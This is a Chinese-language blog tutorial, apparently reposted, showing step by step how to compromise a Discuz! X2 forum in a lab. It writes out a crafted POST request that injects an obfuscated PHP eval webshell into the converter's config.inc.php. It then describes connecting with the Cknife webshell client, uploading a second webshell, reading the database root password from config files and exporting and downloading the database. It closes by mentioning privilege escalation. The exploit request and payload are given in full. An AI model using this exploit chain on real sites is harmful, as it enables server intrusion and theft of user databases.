Dizcuz!论坛攻击流程

Author Avatar
LittleBlack 12月 07, 2019
  • 在其它设备中阅读本文章

转载自SEO研究学会网,点击返回原文享受更佳阅读体验。

主要内容:

1.1 快速搭建discuz论坛

1.2 使用kali下BurpSuite对discuz后台注入php木马

1.3 使用Cknife“菜刀”上传webshell木马到网站

1.4 使用Webshell查看mysql数据库密码并盗取数据库

1.1 快速搭建discuz论坛

1.1.1 攻击思路

想要拿下一台主机A的权限:

1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞。

2、拿到对A有一定权限的身份。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权

3、传上去后,得到apache用户普通权限,再提权成root

1.1.2 快速构建实验环境

搭建一个LAMP环境。部署带有漏洞的discuz论坛

1、漏洞概述:

这漏洞出现在一个DZ X系列自带的转换工具里面。

漏洞路径:utility/convert/data/config.inc.php

漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无任何过滤检测,所以黑客可以通过post方式往config.inc.php中写木马程序。

触发漏洞过程:

1、在浏览器中访问打开 http://192.168.1.63/utility/convert/index.php

2、使用/utility/convert/index.php进行版本转换时,会自动创建utility/convert/data/config.inc.php文件。

3、config.inc.php文件没有做过滤,黑客可以使用post方法对config.inc.php注入木马程序

utility [ju:?t?l?ti] 效用

渗透思路:

实战|20分钟攻破DISCUZ论坛并盗取数据库

2、在centos7虚拟机xuegod63上搭建LAMP环境



\[root@xuegod63 ~\]#yum-y install httpd mariadb-server mariadb php php-mysql

\[root@xuegod63 ~\]# systemctlstart httpd

\[root@xuegod63 ~\]# systemctlstart mariadb

设置mysql数据库root用户的密码:

\[root@xuegod63 ~\]#mysqladmin -u root password"123456"

\[root@xuegod63 ~\]# mysql -uroot -p123456

MariaDB \[(none)\]> exit

3、上传到Discuz\_X2\_SC_UTF8.zip到linux系统/root下

\[root@xuegod63 ~\]#unzip Discuz\_X2\_SC_UTF8.zip

\[root@xuegod63 ~\]#mv upload/* /var/www/html/

\[root@xuegod63 ~\]#mv utility/ /var/www/html/

\[root@xuegod63 ~\]#cd /var/www/html/

\[root@xuegod63 html\]#chown -R apache:apache uc\_server/ data/ config/ uc\_client/

\[root@xuegod63 html\]# chown apache:apacheutility/convert/data

\[root@xuegod63html\]# iptables -F #清空防火墙

4、浏览器输入http://192.168.1.63 安装配置discuz论坛

实战|20分钟攻破DISCUZ论坛并盗取数据库

实战|20分钟攻破DISCUZ论坛并盗取数据库

实战|20分钟攻破DISCUZ论坛并盗取数据库

实战|20分钟攻破DISCUZ论坛并盗取数据库

到此discuz论坛安装完成了。

1.2 使用kali下BurpSuite对discuz后台注入php木马

1.2.1 浏览器上开启代理模式进行抓包

以下操作在kali linux 上进行操作

浏览器打开设置页面

实战|20分钟攻破DISCUZ论坛并盗取数据库

我们把设置页面拉到最下面找到Network Proxy

实战|20分钟攻破DISCUZ论坛并盗取数据库

配置我们的代理设置

实战|20分钟攻破DISCUZ论坛并盗取数据库

1.2.1 在kali上使用burpsuite进行抓包

打开burpsuite。 brup [b?:p] 打嗝 ; suite [swi:t] 套件

实战|20分钟攻破DISCUZ论坛并盗取数据库

打开会有提示我们的jre 我们点击OK即可

实战|20分钟攻破DISCUZ论坛并盗取数据库

注:此窗口弹出的含意如下:

Burp Suite社区版

您的JRE似乎是来自Oracle公司的ll.0.3版本

Burp还没有在这个平台上进行全面测试,您可能会遇到问题。

experience [?k?sp??ri?ns] 经历

实战|20分钟攻破DISCUZ论坛并盗取数据库

实战|20分钟攻破DISCUZ论坛并盗取数据库

实战|20分钟攻破DISCUZ论坛并盗取数据库

我们先关闭拦截,点一下 “intercept is on”,变为: “intercept is off”,因为我们要先访问我们的论坛。

点完后变为:

实战|20分钟攻破DISCUZ论坛并盗取数据库

intercept [??nt??sept] 拦截 截听

浏览器进行操作抓包

在kali上,打开注入漏洞的地方:http://192.168.1.63/utility/convert/

实战|20分钟攻破DISCUZ论坛并盗取数据库

然后我们回到burpsuite开启拦截

实战|20分钟攻破DISCUZ论坛并盗取数据库

我们再回到web界面点击任意版本的开始按钮

实战|20分钟攻破DISCUZ论坛并盗取数据库

回到burpsuite查看截取到浏览器数据包:如果之前抓取到了别的数据包,需要先点击forward按钮,把之前的http请求都放行了。 然后再访问我们需要访问的链接。

实战|20分钟攻破DISCUZ论坛并盗取数据库

右键点击空白处,选择send to repeater 。 repeater [r??pi:t?(r)] 中继器

实战|20分钟攻破DISCUZ论坛并盗取数据库

然后在Repeader查看信息:

实战|20分钟攻破DISCUZ论坛并盗取数据库

下面我们来修改这个数据包,我们把我们需要修改的内容使用rz命令传到kali方便我们复制粘贴。

修改第一行:

GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1 

为:注意 POST后面没有回车 ,这里是文本显示自动换行了。

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig\[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//\]=aaaa&submit=yes HTTP/1.1  

注:这是一个php一句话木马加密后的内容。腾飞翻译后的内容为:

&newconfig\[aaa%0a%0deval("$_POST\[c\];");//\]=aaaa&submit=yes  

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig\[aaa  

eval("$_POST\[c\];"););  

扩展eval()函数:

eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行,一般情况下不建议使用容易被黑客利用。 evaluate [??v?ljue?t] 评价

eval("echo'hello world';"); 等同于下边的代码:

echo"hello world"; 在浏览器中都输出:hello world

修改完成后发送数据包

实战|20分钟攻破DISCUZ论坛并盗取数据库

查看执行结果:

登录xuegod63上,查看刚通过该漏洞注入的文件:

[root@xuegod63 html]# cat/var/www/html/utility/convert/data/config.inc.php

注:/var/www/html/utility/convert/data/config.inc.php这个文件原来的网站上没有的

实战|20分钟攻破DISCUZ论坛并盗取数据库

可以看到和我们修改提交的参数类似。而且多了很多^M符号。

扩展:^M符号

^M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r\n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^M。所以^M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除

%0a%0d等于\r\n

^M=\r换行符 只不过是windows里面的换行符罢了

1.3 使用Cknife“菜刀”上传webshell木马到网站

1.3.1 在xuegod63上配置java环境

搭建java环境

\[root@xuegod63~\]#yum install -y java

然后查看java版本

\[root@xuegod63~\]# java -version
openjdk version"1.8.0_201"

OpenJDK RuntimeEnvironment (build 1.8.0_201-b09)

OpenJDK 64-BitServer VM (build 25.201-b09, mixed mode)

我们在centos上面使用rz命令上传java版本的菜刀和我们后面需要的webshell2.php

\[root@xuegod63~\]# rz

按住ctrl +鼠标左键可以多选,我们选择Cknife.jar和webshell2.php

实战|20分钟攻破DISCUZ论坛并盗取数据库

安装完成java以后我们再来启动菜刀程序,需要在图形界面执行此命令

\[root@xuegod63~\]#java -jar Cknife.jar

实战|20分钟攻破DISCUZ论坛并盗取数据库

排错:

如果打开程序后,看到是乱码的,我们更换一下皮肤即可解决乱码问题

实战|20分钟攻破DISCUZ论坛并盗取数据库

实战|20分钟攻破DISCUZ论坛并盗取数据库

1.3.2 使用菜刀连接discuz论坛上面的php后门程序

右键点击添加

实战|20分钟攻破DISCUZ论坛并盗取数据库

路径:http://192.168.1.63/utility/convert/data/config.inc.php

密码:c

实战|20分钟攻破DISCUZ论坛并盗取数据库

双击点开我们添加的地址

实战|20分钟攻破DISCUZ论坛并盗取数据库

已经可以进入网站目录

实战|20分钟攻破DISCUZ论坛并盗取数据库

1.3.3 上传功能更强大的木马文件webshell2.php

注:这里需要上传到apache用户有写权限的目录中,因为安装过程中discuz需要管理员修改部分权限为apache用户,所以必然有可以上传文件的目录,我们可以直接上传到data目录下。

实战|20分钟攻破DISCUZ论坛并盗取数据库

实战|20分钟攻破DISCUZ论坛并盗取数据库

1.3.4 任意机器访问我们的webshell2.php木马文件

浏览器输入http://192.168.1.63/utility/convert/data/webshell2.php 输入密码:xuegod

实战|20分钟攻破DISCUZ论坛并盗取数据库

成功进入webshell

1.4 使用Webshell查看mysql数据库密码并盗取数据库

1.4.1 分析配置文件获取数据库密码

获取mysql密码: 进到 /var/www/html/config/

获取到root用户和密码

实战|20分钟攻破DISCUZ论坛并盗取数据库

1.4.2 导出数据库文件

实战|20分钟攻破DISCUZ论坛并盗取数据库

实战|20分钟攻破DISCUZ论坛并盗取数据库

选中自己想下载的软件包,导出数据库

实战|20分钟攻破DISCUZ论坛并盗取数据库

保存好这个地址:/var/www/html/utility/convert/data/192.168.1.63_MySQL.sql

实战|20分钟攻破DISCUZ论坛并盗取数据库

1.4.3 下载数据库到本地

实战|20分钟攻破DISCUZ论坛并盗取数据库

也可以使用菜刀下载,回到菜刀需要点击右键更新缓存。

实战|20分钟攻破DISCUZ论坛并盗取数据库

实战|20分钟攻破DISCUZ论坛并盗取数据库

到这里就完成了。如果入侵的系统版本较低,我们我们就可以使用apache用户进行提权操作。届时我们就是root了

总结:

1 快速搭建discuz论坛

2 使用kali linux对discuz后台注入恶意代码

3 使用“菜刀”上传webshell木马

4 快速分析定位discuz配置文件并拿下数据库

本博客使用CC BY-NC-SA 3.0创作协议,转载请注明出处。
本文链接:https://www.hackblack.cn/posts/6d75/

目前已经有位朋友临幸过此博客